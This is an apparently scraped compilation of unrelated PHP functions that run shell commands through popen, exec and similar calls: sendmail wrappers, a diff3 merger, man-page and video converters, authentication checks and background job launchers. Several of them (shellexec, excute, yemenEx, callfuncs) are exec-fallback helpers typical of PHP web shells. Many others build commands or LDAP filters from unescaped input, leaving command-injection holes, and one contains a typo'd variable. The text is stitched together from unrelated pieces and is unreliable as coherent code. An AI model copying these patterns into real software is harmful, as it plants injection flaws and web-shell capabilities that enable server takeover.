function hook_post_auth_update_zonep_config($login = null, $password = null) {
global $ad_server, $ad_base_dn, $ad_bind_dn, $ad_bind_pw;
global $ldap_server, $ldap_base_dn, $adminRdn, $adminPw, $se3Ip;
// Check arguments
if(!is_string($login) or !is_string($password))
return false;
// Ensure we have an ActiveDirectory server or LDAP server to contact
if (empty($ad_server) && empty($ldap_server))
return false;
// Connect to AD or LDAP
if (!empty($ad_server))
$ds = ldap_connect($ad_server);
else
$ds = ldap_connect($ldap_server);
if(!$ds)
return false;
// admin Bind on AD or LDAP
if (!empty($ad_server))
$r = ldap_bind($ds, $ad_bind_dn, $ad_bind_pw);
else
$r = ldap_bind($ds, $adminRddn.$ldap_base_dn, $adminPw);
if(!$r)
return false;
// Fetch UNC from Active Directory
$attributes = array('homeDirectory');
if (!empty($ad_server))
$sr = ldap_search($ds, $ad_base_dn, "(sAMAccountName=$login)", $attributes);
else
$sr = ldap_search($ds, $ldap_base_dn, "(uid=$login)", $attributes);
if (! $sr)
return false;
$entries = ldap_get_entries($ds, $sr);
if(empty($entries[0]['homedirectory'][0]))
return false;
if (!empty($ad_server))
$smb_share = str_replace('\\', '/', $entries[0]['homedirectory'][0]);
else
$smb_share = "//$se3Ip/$login";
// Call sudo wrapper to create autofs configuration file
$handle = popen('sudo lcs-zonep-update-credentials', 'w');
fwrite($handle, "$login\n$password\n$smb_share\n");
$status = pclose($handle) >> 8;
if ($status != 0)
return false;
return true;
}
function SendMail($to, $subject, $body, $headers)
{
$command = $this->sendmail_path . " -t";
if (isset($this->delivery["Headers"])) {
$headers_values = $this->delivery["Headers"];
for ($return_path = "", $header = 0, Reset($headers_values); $header < count($headers_values); $header++, Next($headers_values)) {
if (strtolower(Key($headers_values)) == "return-path") {
$return_path = $headers_values[Key($headers_values)];
break;
}
}
if (strlen($return_path)) {
$command .= " -f {$return_path}";
}
}
if (strlen($this->sendmail_arguments)) {
$command .= " " . $this->sendmail_arguments;
}
if (!($pipe = popen($command, "w"))) {
return $this->OutputError("it was not possible to open sendmail input pipe");
}
if (!fputs($pipe, "To: {$to}\n") || !fputs($pipe, "Subject: {$subject}\n") || $headers != "" && !fputs($pipe, "{$headers}\n") || !fputs($pipe, "\n{$body}")) {
return $this->OutputError("it was not possible to write sendmail input pipe");
}
pclose($pipe);
return "";
}
function Merge($newtext,$oldtext,$pagetext) {
global $WorkDir,$SysMergeCmd, $SysMergePassthru;
SDV($SysMergeCmd,"/usr/bin/diff3 -L '' -L '' -L '' -m -E");
if (substr($newtext,-1,1)!="\n") $newtext.="\n";
if (substr($oldtext,-1,1)!="\n") $oldtext.="\n";
if (substr($pagetext,-1,1)!="\n") $pagetext.="\n";
$tempnew = tempnam($WorkDir,"new");
$tempold = tempnam($WorkDir,"old");
$temppag = tempnam($WorkDir,"page");
if ($newfp=fopen($tempnew,'w')) { fputs($newfp,$newtext); fclose($newfp); }
if ($oldfp=fopen($tempold,'w')) { fputs($oldfp,$oldtext); fclose($oldfp); }
if ($pagfp=fopen($temppag,'w')) { fputs($pagfp,$pagetext); fclose($pagfp); }
$mergetext = '';
if (IsEnabled($SysMergePassthru, 0)) {
ob_start();
passthru("$SysMergeCmd $tempnew $tempold $temppag");
$mergetext = ob_get_clean();
}
else {
$merge_handle = popen("$SysMergeCmd $tempnew $tempold $temppag",'r');
if ($merge_handle) {
while (!feof($merge_handle)) $mergetext .= fread($merge_handle,4096);
pclose($merge_handle);
}
}
@unlink($tempnew); @unlink($tempold); @unlink($temppag);
return $mergetext;
}
function SendMail($to, $subject, $body, $headers, $return_path)
{
$command = $this->sendmail_path . " -t";
switch ($this->delivery_mode) {
case SENDMAIL_DELIVERY_DEFAULT:
case SENDMAIL_DELIVERY_INTERACTIVE:
case SENDMAIL_DELIVERY_BACKGROUND:
case SENDMAIL_DELIVERY_QUEUE:
case SENDMAIL_DELIVERY_DEFERRED:
break;
default:
return $this->OutputError("it was specified an unknown sendmail delivery mode");
}
if ($this->delivery_mode != SENDMAIL_DELIVERY_DEFAULT) {
$command .= " -O DeliveryMode=" . $this->delivery_mode;
}
if (strlen($return_path)) {
$command .= " -f '" . ereg_replace("'", "'\\''", $return_path) . "'";
}
if (strlen($this->sendmail_arguments)) {
$command .= " " . $this->sendmail_arguments;
}
if (!($pipe = popen($command, "w"))) {
return $this->OutputError("it was not possible to open sendmail input pipe");
}
if (!fputs($pipe, "To: {$to}\n") || !fputs($pipe, "Subject: {$subject}\n") || $headers != "" && !fputs($pipe, "{$headers}\n") || !fputs($pipe, "\n{$body}")) {
return $this->OutputError("it was not possible to write sendmail input pipe");
}
pclose($pipe);
return "";
}
function processor_man($formatter, $value = "")
{
global $DBInfo;
if ($value[0] == '#' and $value[1] == '!') {
list($line, $value) = explode("\n", $value, 2);
}
if ($line) {
list($tag, $args) = explode(' ', $line, 2);
}
$vartmp_dir =& $DBInfo->vartmp_dir;
$tmpf = tempnam($vartmp_dir, "MAN");
$fp = fopen($tmpf, "w");
fwrite($fp, $value);
fclose($fp);
if (!empty($DBInfo->man_man2html) and $DBInfo->man_man2html == 'groff') {
$man2html = "groff -Thtml -mman {$tmpf}";
} else {
$man2html = "man2html {$tmpf}";
}
$html = '';
$fp = popen($man2html . $formatter->NULL, 'r');
while ($s = fgets($fp, 1024)) {
$html .= $s;
}
pclose($fp);
unlink($tmpf);
$html = preg_replace('@^Content-type: text/html@', '', $html);
$html = preg_replace('/<\\/?META[^>]*>|<\\/?HTML>|<\\/?HEAD>|<\\/?BODY>|<TITLE>[^>]+<\\/TITLE>/i', '', $html);
$html = preg_replace('/http:\\/\\/localhost\\/cgi\\-bin\\/man\\/man2html\\?.\\+/', '?action=man_get&man=', $html);
$html = preg_replace('/http:\\/\\/localhost\\/cgi\\-bin\\/man\\/man2html/', '?goto=ManPage', $html);
return $html;
}
function shellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd)) {
if (is_callable("exec") and !in_array("exec", $disablefunc)) {
exec($cmd, $result);
$result = join("\n", $result);
} elseif (($result = `{$cmd}`) !== FALSE) {
} elseif (is_callable("system") and !in_array("system", $disablefunc)) {
$v = ob_get_contents();
ob_clean();
system($cmd);
$result = ob_get_contents();
ob_clean();
echo $v;
} elseif (is_resource($fp = popen($cmd, "r"))) {
$result = "";
while (!feof($fp)) {
$result .= fread($fp, 1024);
}
pclose($fp);
}
}
return $result;
}
function flush_log()
{
$handle = popen("env NOCOLOR=1 /usr/local/bin/sudo /usr/local/bin/cbsd task mode=flushall", "r");
$read = fgets($handle, 4096);
pclose($handle);
header('Location: taskls.php');
}
function ReadData($targetstring, &$map, &$item)
{
$data[IN] = NULL;
$data[OUT] = NULL;
$data_time = 0;
if (preg_match("/^!(.*)\$/", $targetstring, $matches)) {
$command = $matches[1];
debug("ExternalScript ReadData: Running {$command}\n");
// run the command here
if (($pipe = popen($command, "r")) === false) {
warn("ExternalScript ReadData: Failed to run external script. [WMEXT01]\n");
} else {
$i = 0;
while ($i < 5 && !feof($pipe)) {
$lines[$i++] = fgets($pipe, 1024);
}
pclose($pipe);
if ($i == 5) {
$data[IN] = floatval($lines[0]);
$data[OUT] = floatval($lines[1]);
$item->add_hint("external_line1", $lines[0]);
$item->add_hint("external_line2", $lines[1]);
$item->add_hint("external_line3", $lines[2]);
$item->add_hint("external_line4", $lines[3]);
$data_time = time();
} else {
warn("ExternalScript ReadData: Not enough lines read from external script ({$i} read, 4 expected) [WMEXT02]\n");
}
}
}
debug("ExternalScript ReadData: Returning (" . ($data[IN] === NULL ? 'NULL' : $data[IN]) . "," . ($data[OUT] === NULL ? 'NULL' : $data[OUT]) . ",{$data_time})\n");
return array($data[IN], $data[OUT], $data_time);
}
function System_Pipe($command)
{
$handle = popen($command . ' 2>&1', 'r');
$read = fread($handle, 2096);
pclose($handle);
return $read;
}
/**
* @param $request_string
* @return string
*/
private function output($request_string)
{
// 静态 GET /1.html HTTP/1.1 ...
// 动态 GET /user.cgi?id=1 HTTP/1.1 ...
$request_array = explode(" ", $request_string);
if (count($request_array) < 2) {
return "";
}
$uri = $request_array[1];
echo "request:" . web_config::WEB_ROOT . $uri . "\n";
$query_string = null;
if ($uri == "/favicon.ico") {
return "";
}
if (strpos($uri, "?")) {
$uriArr = explode("?", $uri);
$uri = $uriArr[0];
$query_string = isset($uriArr[1]) ? $uriArr[1] : null;
}
$filename = web_config::WEB_ROOT . $uri;
if ($this->cgi_check($uri)) {
$this->set_env($query_string);
$handle = popen(web_config::WEB_ROOT . $uri, "r");
$read = stream_get_contents($handle);
pclose($handle);
return $this->add_header($read);
}
// 静态文件的处理
if (file_exists($filename)) {
return $this->add_header(file_get_contents($filename));
} else {
return $this->not_found();
}
}
function cvs_max_rev($filename, $start, $end)
{
static $lastfile = "";
static $array = array();
if ($filename != $lastfile) {
$cmd = "/usr/bin/cvs annotate {$filename} 2>/dev/null";
$fp = popen($cmd, "r");
if (!$fp) {
return false;
}
$n = 0;
$array = array();
$lastfile = $filename;
while (!feof($fp)) {
$line = fgets($fp);
if (empty($line)) {
continue;
}
$tokens = explode(" ", $line);
$array[++$n] = explode(".", $tokens[0]);
}
pclose($fp);
}
$max = array();
for ($n = $start; $n <= $end; $n++) {
if (rev_cmp($max, $array[$n])) {
$max = $array[$n];
}
}
return $max;
}
/**
* Closes any open pipe handle and sets the exit code.
*
* @return void
*/
public function close()
{
if (is_resource($this->handle)) {
$this->exitCode = pclose($this->handle);
}
$this->handle = null;
}
/**
* Start the commandline to send a newsletter
* This is offloaded because it could take a while and/or resources
*
* @param Newsletter $entity Newsletter entity to be processed
*
* @return void
*/
function newsletter_start_commandline_sending(Newsletter $entity)
{
if (!elgg_instanceof($entity, 'object', Newsletter::SUBTYPE)) {
return;
}
// prepare commandline settings
$settings = ['entity_guid' => $entity->getGUID(), 'host' => $_SERVER['HTTP_HOST'], 'memory_limit' => ini_get('memory_limit'), 'secret' => newsletter_generate_commanline_secret($entity->getGUID())];
if (isset($_SERVER['HTTPS'])) {
$settings['https'] = $_SERVER['HTTPS'];
}
// ini settings
$ini_param = '';
$ini_file = php_ini_loaded_file();
if (!empty($ini_file)) {
$ini_param = "-c {$ini_file} ";
}
// which script to run
$script_location = dirname(dirname(__FILE__)) . '/procedures/cli.php';
// convert settings to commandline params
$query_string = http_build_query($settings, '', ' ');
// start the correct commandline
if (PHP_OS === 'WINNT') {
pclose(popen('start /B php ' . $ini_param . $script_location . ' ' . $query_string, 'r'));
} else {
exec('php ' . $ini_param . $script_location . ' ' . $query_string . ' > /dev/null &');
}
}
function experimentmail__send($recipient, $subject, $message, $headers, $env_sender = "")
{
global $settings;
if (isset($settings['bcc_all_outgoing_emails']) && $settings['bcc_all_outgoing_emails'] == 'y' && isset($settings['bcc_all_outgoing_emails__address']) && $settings['bcc_all_outgoing_emails__address']) {
$headers = $headers . "Bcc: " . $settings['bcc_all_outgoing_emails__address'] . "\r\n";
}
if (!$env_sender) {
$env_sender = $settings['support_mail'];
}
if ($settings['email_sendmail_type'] == "indirect") {
if ($settings['email_sendmail_path']) {
$sendmail_path = $settings['email_sendmail_path'];
} else {
$sendmail_path = "/usr/sbin/sendmail";
}
$sendmail = $sendmail_path . " -t -i -f {$env_sender}";
$fd = popen($sendmail, "w");
fputs($fd, "To: {$recipient}\r\n");
fputs($fd, $headers);
fputs($fd, "Subject: {$subject}\r\n");
fputs($fd, "X-Mailer: orsee\r\n\r\n");
fputs($fd, $message);
pclose($fd);
$done = true;
} else {
$headers = "Errors-To: " . $settings['support_mail'] . "\r\n" . $headers;
$done = mail($recipient, $subject, $message, $headers, '-f ' . $env_sender);
}
return $done;
}
function doRepositoryTest($repo)
{
if ($repo->accessType != "ssh") {
return -1;
}
$basePath = "../../../plugins/access.ssh/";
// Check file exists
if (!file_exists($basePath . "class.sshAccessDriver.php") || !file_exists($basePath . "class.SSHOperations.php") || !file_exists($basePath . "manifest.xml") || !file_exists($basePath . "showPass.php") || !file_exists($basePath . "sshActions.xml")) {
$this->failedInfo .= "Missing at least one of the plugin files (class.sshDriver.php, class.SSHOperations.php, manifest.xml, showPass.php, sshActions.xml).\nPlease reinstall from lastest release.";
return FALSE;
}
// Check if showPass is executable from ssh
$stat = stat($basePath . "showPass.php");
$mode = $stat['mode'] & 0x7fff;
// We don't care about the type
if (!is_executable($basePath . 'showPass.php') && ($mode & 0x40 && $stat['uid'] == posix_getuid()) && ($mode & 0x8 && $stat['gid'] == posix_getgid()) && $mode & 0x1) {
chmod($basePath . 'showPass.php', 0555);
if (!is_executable($basePath . 'showPass.php')) {
$this->failedInfo .= "showPass.php must be executable. Please log in on your server and set showPass.php as executable (chmod u+x showPass.php).";
return FALSE;
}
}
// Check if ssh is accessible
$handle = popen("ssh 2>&1", "r");
$usage = fread($handle, 30);
pclose($handle);
if (strpos($usage, "usage") === FALSE) {
$this->failedInfo .= "Couldn't find or execute 'ssh' on your system. Please install latest SSH client.";
return FALSE;
}
return TRUE;
}
function tagger()
{
if (func_num_args()) {
$arg_list = func_get_args();
$string = $arg_list[0];
} else {
return false;
}
if (file_exists("medpost")) {
$commandstring = "./medpost -token";
} elseif (defined(MEDPOST_DIR)) {
if (file_exists(MEDPOST_DIR . "medpost")) {
$commandstring = MEDPOST_DIR . "medpost -token";
} else {
print "Medpost could not be found. Please check MEDPOST_DIR value.";
return false;
}
} else {
print "Medpost could not be found.";
return false;
}
$handle = popen("echo \"{$string}\" | {$commandstring} ", "r");
$read = fread($handle, 2096);
echo $read;
pclose($handle);
$split = preg_split("/\\s/", $read);
print_r($split);
}
function num_cpus()
{
$numCpus = 1;
if (is_file('/proc/cpuinfo')) {
$cpuinfo = file_get_contents('/proc/cpuinfo');
preg_match_all('/^processor/m', $cpuinfo, $matches);
$numCpus = count($matches[0]);
} elseif ('WIN' == strtoupper(substr(PHP_OS, 0, 3))) {
$process = @popen('wmic cpu get NumberOfCores', 'rb');
if (false !== $process) {
fgets($process);
$numCpus = intval(fgets($process));
pclose($process);
}
} else {
$process = @popen('sysctl -a', 'rb');
if (false !== $process) {
$output = stream_get_contents($process);
preg_match('/hw.ncpu: (\\d+)/', $output, $matches);
if ($matches) {
$numCpus = intval($matches[1][0]);
}
pclose($process);
}
}
return $numCpus;
}
public function doAction()
{
//check if id file and job is a number
//if (is_numeric($this->id_file) && is_numeric($this->id_job))
//convert id_file and id_job into a numbers
$id_file = (int) $this->id_file;
$id_job = (int) $this->id_job;
ini_set('max_execution_time', 6000);
$ret = -1;
if (substr(php_uname(), 0, 7) == "Windows") {
log::doLog("windows");
$ret = pclose(popen("start C:\\wamp\\bin\\php\\php5.4.3\\php " . INIT::$MODEL_ROOT . "/exportLog.php " . $id_file . " " . $id_job . " 1", "r"));
} else {
$ret = pclose(popen("nohup php " . INIT::$MODEL_ROOT . "/exportLog.php " . $id_file . " " . $id_job . " 1 &", "r"));
}
log::doLog("CASMACAT: return exportLog: " . $ret);
ini_set('max_execution_time', 30);
// $this->filename ="log_id".$this->id_file."_".$this->file_name.".xml";
// header('Content-Type: text/xml; charset=UTF-8');
// header('Content-Disposition: attachment; filename="' . $this->file_name . '.xml"');
//
// //log::doLog("CASMACAT: file: ".INIT::$LOG_DOWNLOAD . "/" .$this->filename);
//
// $this->content = file_get_contents(INIT::$LOG_DOWNLOAD . "/" . $this->filename);
if ($ret == "END") {
$this->result['code'] = 0;
$this->result['data'] = "OK";
} else {
$this->result['errors'] = "It is not possible to get the log file";
$this->result['code'] = -1;
}
}
public function execute($do = true)
{
$cmd = $this->command;
for ($i = 0; $i < count($this->values); $i++) {
$cmd .= $this->attributeSeparator . $this->values[$i];
}
foreach ($this->attributes as $key => $value) {
$cmd .= $this->attributeSeparator . $this->attributeInitiator . $key . ($value != "" ? $this->attributeOperator . $value : "");
}
$cmd = $cmd . ($this->pipe != null ? " | " . $this->pipe->getPipeCommand() : "");
if ($do) {
if ($this->username == "") {
$this->output = shell_exec($cmd);
} else {
$c = '/bin/su ' . $this->username . ' -c "' . $cmd . '" 2>&1';
$handle = popen($c, "r");
$read = fread($handle, 2096);
pclose($handle);
if (trim($read) == "su: must be run from a terminal") {
die("su has been disabled for the user of your webserver. Maybe you want to try sudo...");
} else {
$_SESSION["messages"]->addMessage("System: {$c}", "System");
$fp = popen($c, "w");
fputs($fp, $this->password);
pclose($fp);
}
$this->output = "No output available in su-mode";
}
} else {
return $cmd;
}
}
/**
* Init scan process.
* Solution for realtime output find on: http://stackoverflow.com/questions/1281140/run-process-with-realtime-output-in-php
* Maybe ugly, but sometimes at 3AM it's only what is getting out of head ;-)
*/
public function initScan()
{
$view = new Views('templates/head.tpl.php');
$view->set('class', 'scanner');
print $view->render();
set_time_limit(0);
$handle = popen(PHP . " scanner.php " . $this->project_id, "r");
if (ob_get_level() == 0) {
ob_start();
}
while (!feof($handle)) {
$buffer = fgets($handle);
$buffer = trim(htmlspecialchars($buffer));
$data = explode(';', $buffer);
switch ($data[0]) {
case 'FOUND':
print "<div class=\"infobox\"><h3>Found something</h3><p><strong>Time:</strong> " . $data[1] . "<br><strong>Filter name:</strong> " . $data[2] . "<br><strong>Line:</strong> " . $data[3] . "<br><strong>File:</strong> " . $data[4] . "</p><a href=\"/report/" . $data[5] . "\" target=\"_blank\"><span class=\"button warning_button\" style=\"\">Show report</span></a></div>";
break;
case 'NOT_FOUND':
print "<div class=\"infobox\"><h3>WOW!</h3><p>Scanner didn't found anything. So your project is sooo secure. You are security mastah, or the filters are too weak ;-) Anyway, I recommend to do a manual code review, to be 100% sure ;-)</p></div>";
break;
case 'SCANNED':
print "<div class=\"infobox\"><h3>Hmmmm...</h3><p>Your project has been scanned before. Please go to project to check your reports. <br><a href=\"/show/" . $this->project_id . "\" target=\"_parent\"><span class=\"button\">Go to project page</span></a></p></div>";
break;
}
ob_flush();
flush();
time_nanosleep(0, 10000000);
}
pclose($handle);
ob_end_flush();
}
/**
* Check username/password
*
* @return bool
*/
public function checkPass($user, $pass)
{
// get user information
$userinfo = posix_getpwnam($user);
if (empty($userinfo)) {
return false;
}
// run pwauth
$handle = popen($this->pwauth_path, "w");
if ($handle === false) {
echo "failed to execute " . $this->pwauth_path . "!";
return false;
}
// write user and password to pwauth
if (fwrite($handle, "{$user}\n{$pass}\n") === false) {
echo "failed to write to pwauth!";
return false;
}
// authentication is successful only if the exit status of pwauth is 0
$status = pclose($handle);
if ($status == 0) {
return true;
}
return false;
}
/**
* @param \Symfony\Component\Console\Input\InputInterface $input
* @param \Symfony\Component\Console\Output\OutputInterface $output
* @return int|void
*/
protected function execute(InputInterface $input, OutputInterface $output)
{
declare (ticks=1);
$this->output = $output;
// Register shutdown function
register_shutdown_function(array($this, 'stopCommand'));
// Register SIGTERM/SIGINT catch if script is killed by user
if (function_exists('pcntl_signal')) {
pcntl_signal(SIGTERM, array($this, 'stopCommand'));
pcntl_signal(SIGINT, array($this, 'stopCommand'));
} else {
$this->output->writeln('<options=bold>Note:</> The PHP function pcntl_signal isn\'t defined, which means you\'ll have to do some manual clean-up after using this command.');
$this->output->writeln('Remove the file \'app/Mage.php.rej\' and the line \'Mage::log($name, null, \'n98-magerun-events.log\');\' from app/Mage.php after you\'re done.');
}
$this->detectMagento($output);
if ($this->initMagento()) {
$currentMagerunDir = dirname(__FILE__);
$patch = $currentMagerunDir . '/0001-Added-logging-of-events.patch';
// Enable logging & apply patch
shell_exec('cd ' . \Mage::getBaseDir() . ' && n98-magerun.phar dev:log --on --global && patch -p1 < ' . $patch);
$output->writeln('Tailing events... ');
// Listen to log file
shell_exec('echo "" > ' . \Mage::getBaseDir() . '/var/log/n98-magerun-events.log');
$handle = popen('tail -f ' . \Mage::getBaseDir() . '/var/log/n98-magerun-events.log 2>&1', 'r');
while (!feof($handle)) {
$buffer = fgets($handle);
$output->write($buffer);
flush();
}
pclose($handle);
}
}
function excute($cfe) {
$res = '';
if (!empty($cfe)) {
if(@function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(@function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(@function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { $res = "Ex() Disabled!"; }
}
return $res;
}
function callfuncs($cmnd)
{
if (function_exists(shell_exec)) {
$scmd = shell_exec($cmnd);
$nscmd = htmlspecialchars($scmd);
print $nscmd;
} elseif (!function_exists(shell_exec)) {
exec($cmnd, $ecmd);
$ecmd = join("\n", $ecmd);
$necmd = htmlspecialchars($ecmd);
print $necmd;
} elseif (!function_exists(exec)) {
$pcmd = popen($cmnd, "r");
while (!feof($pcmd)) {
$res = htmlspecialchars(fgetc($pcmd));
print $res;
}
pclose($pcmd);
} elseif (!function_exists(popen)) {
ob_start();
system($cmnd);
$sret = ob_get_contents();
ob_clean();
print htmlspecialchars($sret);
} elseif (!function_exists(system)) {
ob_start();
passthru($cmnd);
$pret = ob_get_contents();
ob_clean();
print htmlspecialchars($pret);
}
}
function progressBar($cmd, $regexp)
{
global $config;
$line = "";
$out = 0;
$left = $config['progressBarLength'];
debug('execute', $cmd);
$fp = popen($cmd . ' 2>&1', 'r');
while (!feof($fp)) {
$data = fread($fp, 1);
if (ord($data) == 13 || ord($data) == 10) {
if (preg_match($regexp, $line, $match)) {
$curr = (int) ((int) $match[1] * $config['progressBarLength'] / 100);
for ($i = $out; $i < $curr; $i++) {
echo $config['progressBarChar'];
$out++;
$left--;
}
}
$line = "";
} else {
$line .= $data;
}
flush();
}
pclose($fp);
while ($left) {
echo $config['progressBarChar'];
$left--;
$out++;
}
flush();
}
/**
* Asyncrhonous Convert all Video format to video/webm
*
* Use ffmpeg for conversion
* @return void
* @author Cédric Levasseur
*/
public static function FastEncodeVideo($file)
{
$basefile = new File($file);
$basepath = File::a2r($file);
$path_thumb_webm = File::Root() . '/' . Settings::$thumbs_dir . dirname($basepath) . "/" . $basefile->name . '.webm';
$path_thumb_jpg = File::Root() . '/' . Settings::$thumbs_dir . dirname($basepath) . "/" . $basefile->name . '.jpg';
if (!file_exists($path_thumb_webm) || filectime($file) > filectime($path_thumb_webm)) {
/// Create Folder
if (!file_exists(dirname($path_thumb_webm))) {
@mkdir(dirname($path_thumb_webm), 0755, true);
}
}
error_log($file, 0);
error_log($path_thumb_webm, 0);
if ($basefile->extension != "webm") {
if (!file_exists($path_thumb_webm)) {
///Create Thumbnail jpg in Thumbs folder
$u = Settings::$ffmpeg_path . ' -itsoffset -4 -i ' . $file . ' -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 -y ' . $path_thumb_jpg;
error_log($u, 0);
pclose(popen('start /b ' . $u . '', 'r'));
///Convert video to webm format in Thumbs folder
$u = Settings::$ffmpeg_path . ' -threads 4 -i ' . $file . ' ' . Settings::$ffmpeg_option . ' -y ' . $path_thumb_webm . ' 2>&1';
error_log($u, 0);
pclose(popen('start /b ' . $u . '', 'r'));
}
} else {
//Create Thumbnail jpg in Thumbs folder
$u = Settings::$ffmpeg_path . ' -itsoffset -4 -i ' . $file . ' -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 -y ' . $path_thumb_jpg;
pclose(popen('start /b ' . $u . '', 'r'));
///Copy original webm video to Thumbs folder
copy($file, $path_thumb_webm);
}
}
function yemenEx($in)
{
$out = '';
if (function_exists('exec')) {
@exec($in, $out);
$out = @join("\n", $out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in, "r"))) {
$out = "";
while (!@feof($f)) {
$out .= fread($f, 1024);
}
pclose($f);
}
return $out;
}
function check_language($cmd)
{
/// return users current language if its
/// dictionary is found installed in system
/// and always return english if user's own
/// language is not in the list. If english dictionary
/// isn't found, then false is returned.
global $CFG;
clearstatcache();
$current_lang = str_replace('_utf8', '', current_language());
$output = '';
if (!($handle = popen($cmd . ' dump dicts', 'r'))) {
error_handler("Couldn't create handle!");
exit;
}
while (!feof($handle)) {
$output .= fread($handle, 1024);
}
@pclose($handle);
$dicts = explode(chr(10), strtolower($output));
if (is_array($dicts)) {
if (in_array($current_lang, $dicts)) {
return $current_lang;
}
}
if (!empty($CFG->editordictionary)) {
return $CFG->editordictionary;
}
return false;
}
/**
* Start the commandline to send a newsletter
* This is offloaded because it could take a while and/or resources
*
* @param Newsletter $entity Newsletter entity to be processed
*
* @return void
*/
function newsletter_start_commandline_sending(Newsletter $entity)
{
if (!empty($entity) && elgg_instanceof($entity, "object", Newsletter::SUBTYPE)) {
// prepare commandline settings
$settings = array("entity_guid" => $entity->getGUID(), "host" => $_SERVER["HTTP_HOST"], "memory_limit" => ini_get("memory_limit"), "secret" => newsletter_generate_commanline_secret($entity->getGUID()));
if (isset($_SERVER["HTTPS"])) {
$settings["https"] = $_SERVER["HTTPS"];
}
// ini settings
$ini_param = "";
$ini_file = php_ini_loaded_file();
if (!empty($ini_file)) {
$ini_param = "-c " . $ini_file . " ";
}
// which script to run
$script_location = dirname(dirname(__FILE__)) . "/procedures/cli.php";
// convert settings to commandline params
$query_string = http_build_query($settings, "", " ");
// start the correct commandline
if (PHP_OS === "WINNT") {
pclose(popen("start /B php " . $ini_param . $script_location . " " . $query_string, "r"));
} else {
exec("php " . $ini_param . $script_location . " " . $query_string . " > /dev/null &");
}
}
}
/**
* Run script in HTTP. Return hash:
*
* headers Hash of headers (lowercased)
* body Message body
*
* In case of error, headers&body are NULL.
*
* @param url string Relative URL
* @param chdir string Script directory in filesystem
* @return hash
*/
public function runScript($url, $chdir = '.')
{
$res = array('headers' => NULL, 'body' => NULL);
$old_env = array();
$old_dir = getcwd();
preg_match('#^ ( (?:[^?]*/)? ([^/?]+)) (?: \\?(.*) )? $#x', $url, $m) or die("Malformed URI `{$url}'");
list($null, $base_url, $script, $args) = $m;
if ($base_url[0] != '/') {
$base_url = '/' . $base_url;
}
foreach (self::__prepare_environment($base_url, $url, $args, $chdir, $script) as $n => $v) {
$old_env[$n] = getenv($n);
putenv("{$n}={$v}");
}
$cmd = self::__prepare_launch_command($script);
chdir($chdir);
if ($fp = popen($cmd, 'r')) {
$output = '';
while (!feof($fp)) {
$output .= fgets($fp);
}
pclose($fp);
list($h, $b) = preg_split('/\\r?\\n\\r?\\n/', $output, 2);
$res['headers'] = self::__parse_headers($h);
$res['body'] = $b;
}
chdir($old_dir);
foreach ($old_env as $n => $v) {
putenv("{$n}={$v}");
}
return $res;
}
